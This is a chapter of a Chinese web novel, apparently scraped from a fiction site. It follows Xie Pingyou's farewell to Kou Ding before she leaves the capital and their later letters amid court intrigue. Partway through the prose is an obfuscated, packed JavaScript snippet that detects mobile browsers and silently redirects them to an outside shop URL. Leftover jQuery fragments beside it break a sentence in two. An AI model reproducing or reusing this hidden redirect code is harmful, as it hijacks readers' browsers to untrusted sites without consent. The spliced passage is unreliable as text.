文趣网 > 都市小说 > nerd与八卦之神的关系是? > 18. 两地书
    谢平忧对在古代出远门这件事不抱太多美好的期待,因此能拖则拖,直到辞别的日子将近了,才开始动手整理行囊。

    寇定送来各种路上打发时间的小玩意儿,既有给七月准备的拨浪鼓、小木雕,也有专门去城里为她搜罗来的医书古籍,不过紫金砚台是什么东西?谢平忧将这方沉得坠手的砚台从木箱子里掏出来,凝视片刻,无奈地叹了口气。

    东西是好东西,可寇定也不能什么玩意儿都往她箱子里塞吧?她是去逃难,又不是荣归故里,丁零当啷搞这么多宝贝,到时候丢了都没地儿捡去,他要自己拿什么赔?

    正想着,侯府下人又来敲她的门:“周大夫!”

    谢平忧烦了,噌一下站起来,走过来拉开门,拧着眉压着情绪道:“怎么了?”

    下人往后仰开半步,挺起怀里的竹板箱子,尴笑道:“世子让拿过来给你的。”

    谢平忧听见对方心中来回滚动的只有一句话:“求求周大夫不要骂我啊,我也只是个当差的!求求周大夫……”

    她深吸一口气,劝自己冷静下来,点头冲对方:“放下吧,多谢。”

    “不客气。”对方放下了赶忙就要跑,却被谢平忧叫住:“世子呢?”

    “在鸽房呢,要不要我——”下人违心地挤出一个笑脸,内心滚动的弹幕变成了:“快拒绝快拒绝……”

    周大夫果然摇了摇头:“我一会儿自己去找他。”

    下人如蒙大赦地溜走了,谢平忧在门口伸手一拎那箱子,居然没能移动其分毫,她惊讶地咂了一声,当即扎个马步,双手将其从地上抬起来,踩着螃蟹步将其飞速挪到屋内桌上,生怕有人看见她这幅窘态。

    箱子里是一卷卷竹简,几根风干牛肉和半颗甜瓜,盖子揭开,香气沁润入肺。

    谢平忧拾起瓜啃了口,无名火消下去一半,瓜果蔬菜,还是得吃个新鲜应季,当初的樱桃虽然美味,但是尝到嘴里比起刚下枝头时,也是大打折扣,不像这颗本地甜瓜,应时而生,应地而长,虽说不名贵,可恰当适宜,配这么一个溽热微燥的晚上,刚刚好。

    她沉下心又挑捡了半天行李,将包裹按照随身、随车分成两堆,又把自己那摊玩意儿(主要是寇定塞给她的)按照书本、日用、食物等等有序分类,从各个分类里再挑最优的,最后集中进她和谢允存的行囊里,做完这一切,外面已经月挂梢头,更深露重。

    谢平忧打了个哈欠,提着盏铜质豆灯出了屋,她猜寇定应该休息了,可脚步还是不由自主地往鸽房那边转过去,心道这可是个病人,自己再三叮嘱他多睡觉少操心,万一让自己抓见半夜喂鸟,自己非劈头盖脸骂他一顿不可。

    结果回廊后拐过弯来,一眼瞥见鸽房,门竟还真是开着的,里间散出烛光,有人影摇动。

    “不省心的家伙!”谢平忧加快步子匆匆赶过去,还没进门便听见他跟鸟对谈。

    “太行山林子密——”

    众小鸟叽叽喳喳回应,寇定抬手往下压:“诶,知道知道,好玩归好玩,可你们是有任务在身的嘛,在外面多野一日,我的信就迟到一日,我毕竟是个病人,叫我整天提心吊胆的,你们也忍心?”

    众小鸟沉默一瞬,继续叽叽喳喳。

    谢平忧没忍住撇开头一笑,寇定回过身来,看见是她,立刻流露出意料之中的眼神,拍了拍手掌心的鸟食,提着袍角慢慢踱步出来。

    “都什么时辰了,你不睡,你这群宝贝鸟儿子也不睡?”她忽然发现自己心中的那点怒意已经来无影去无踪,分手在即,面对寇定似乎就只剩下无底线的宽容。

    “周兄不是也还没睡么?明日一早就要出发了,也不怕路上没精神。”寇定背着手,仰头闻了闻花香——闻见空气中浓郁的鸽粪味儿。

    “我是来抓人的。”谢平忧同他并肩走在碎石路上,身体的疲乏令她有些头重脚轻。

    “抓到了吗?”寇定玩笑道。

    谢平忧淡淡哼了一声:“人赃并获。”

    寇定低头浅笑,好一会儿才叹了口气:“以后你走了,连个说笑的人都没有。”

    谢平忧端眉思忖片刻,故意逗他玩说:“即刻写信给老侯爷,请他给你说门亲事——”

    “去去去!”寇定拂开她肩膀:“明知我最怕这个。”

    “怕?”谢平忧乐完,又凑回来好奇问:“世子家境显赫相貌堂堂,怎么还怕相亲?”

    寇定见搪塞不过,只好别扭地承认:“其实我……”

    谢平忧等了又等没等到下半句,着急得恨不能掰开他嗓子眼看看:“说呀!”

    寇定:“我早有意中人了。”

    谢平忧身形一顿,冰雕似的僵在那儿,只剩眼睫扇了扇,讶异道:“什么?”

    寇定转回头来,看着落后自己半步的周大夫,很难为情道:“这,总之……哎,周兄,男女之间的事,我跟你说不清楚。”

    谢平忧双腿灌了铅一般沉重,她将腿从原地拔起来,一点一点恢复成自如模样,朝着寇定走过去,片刻之后,神色自如地追问:“什么时候的事?”

    “好多年了。”

    谢平忧不死心,她求知若渴的学术精神迫使她不能接受这么模糊的回答:“好多年是多少年?五年?”

    寇定摇头,幽幽道:“比那更久。”

    谢平忧啧啧两声,抽了一口气道:“十年八年?”

    寇定依然摇头,答:“不止。”

    “我的老天爷。”谢平忧由衷敬佩:“世子的情窦开得可够早的。”

    寇定忍俊不禁,谢平忧余光瞄见他笑容,无端想起小花园里零落的栀子,都一样白。

    “世子,我走之后你每天晌午用过饭,须得抽出半个时辰来晒晒太阳,瞧你骨头脆的,沐浴日光对你有好处。”

    “好。”寇定一口答应,又马上反过来要求她:“给你送去的笔墨纸砚瞧见了吧?离京之后记得多写信,刚开始可以每日一封,过了阴山路不好走,隔日一封,再远到洞庭,地广人稀的,要是找不到合适驿站投宿,条件有限,半月一封我也不嫌你。”

    “我争取吧。”谢平忧踢开脚尖的碎石子,未雨绸缪地思考起写信这件事来——她曾经生活的那个时代已经没什么人写信了,这辈子作为谢家三小姐长大,亲朋好友都在近旁,实在也没什么写信的需求,现如今寇定口气这么大,一下子给她布置了成千上万字的作业,她疑心自己恐怕只能憋得出流水账,最后落一个浪费纸张的名声了。

    不过既然允诺了,势必就得动

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17626417|206097||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    笔,翌日夜里,京城外官道十余里处的一座小镇上,谢平忧哄睡了七月,从散开的行李里扒拉出纸笔来,撑着脑袋坐在灯下给寇定写信。

    “日行五十里,至西霞镇有缘客栈落脚,此地民风淳朴,山清水秀,倒是适合与你养病……今日是否按时服药,楼大夫切脉结果如何,如有异象即刻传书与我。”

    地图上几笔墨迹勾勒出的迢迢山川,成了马车车轮下真实滚过的泥土,谢平忧常常幻想,寇定在他书房里一个人看地图时,究竟将自己想象成怎样一个芝麻粒大小的黑点,这黑点翻山越岭,也途径人间无数。

    落脚至南阳时,离她们出发已经出发一月有余,谢平忧按照先前信中交待的,投宿在当地最有名的响云客栈,刚进店定了房间,转头便问有没有自己的信。

    “给周游周大夫的?有。”伙计从身后的柜子上取下一封道:“昨日镖局刚送来,来,您看看是不是这封。”

    果不其然,信件密封用的火漆被压出一道侯府专用的图纹,寇定还真是口无戏言。

    她将信收进怀里,又耐着性子为车夫、奶娘等一行人安排好食宿,动作如常地回到自己房内,仔细合上门窗,这才急切地将信掏出来,撕开封口,薄薄几张信纸捻在手中,光开头就要读好几次才能平心静气地读下去。

    “周兄,见字如面,如你上回来信所说,夏至后药方中舍去仔姜一味,以陈皮取代,连服三日,果然神清气爽许多,非我妄言,楼大夫亦可做人证。只是药苦,佐薄荷叶入口,唇舌颇受打击,连日不知饭味……你见多识广,如遇好食谱,请速写来,稍解苦夏。”

    谢平忧看到这里哭笑不得,这都哪儿跟哪儿,废话三尺长,她上回收到寇定飞鸽传信,短笺上仅绑了八个字:前有伏兵,改道河西。

    那才是讲正事的口吻,事后谢平忧去信询问内情,得知京城内天翻地覆,形势一日比一日差,追查谢家遗孤的探子顺藤摸瓜,摸到了怀恩侯府,要不是迫于老侯爷威势,说不准真能做出破门而入,戕害世子的丑事。

    更糟糕的是,宫内不知为何对老侯爷起了戒备之心,几次下诏试图要他解甲归京,寇丹全都以边务繁重,无可脱身为由挡了回来,眼见着两边矛盾愈发尖锐,寇定在城内处境更是岌岌可危。

    谢平忧从来没忘记在李岩灵堂前,与老侯爷对视的那一眼,她当时没跟寇定透露过怀恩侯意欲造反的信息,现在想来,这成了对方命运里埋藏的一个地雷,随时可能引爆。

    因此她一连三封短笺督促寇定离京,塞北也好,江油也罢,总比待在定时炸弹上要好,偏偏这人跟听不明白似的,回信过来洋洋洒洒数千字,连半点危机意识都没有。

    谢平忧草草读完中间那几页,翻到最后,视线落在结尾处的一句话上:两地周旋,君心即我心。

    这话说的暧昧又模糊,谢平忧盯着看了半天,醍醐灌顶——寇家两父子在演一出互相牵制的戏码,朝廷以为拴住了寇定,寇丹不敢真反,而寇定为了给老侯爷争取时间,恰恰要留着身上那根锁链装人质,好精明的两父子!谢平忧咋舌,而后松了口气,他拎得清状况就好,她接着拿开信纸,反过来看了眼背面,寇定措辞如此含蓄,大概是料到有人查过他的信。

    会是谁呢?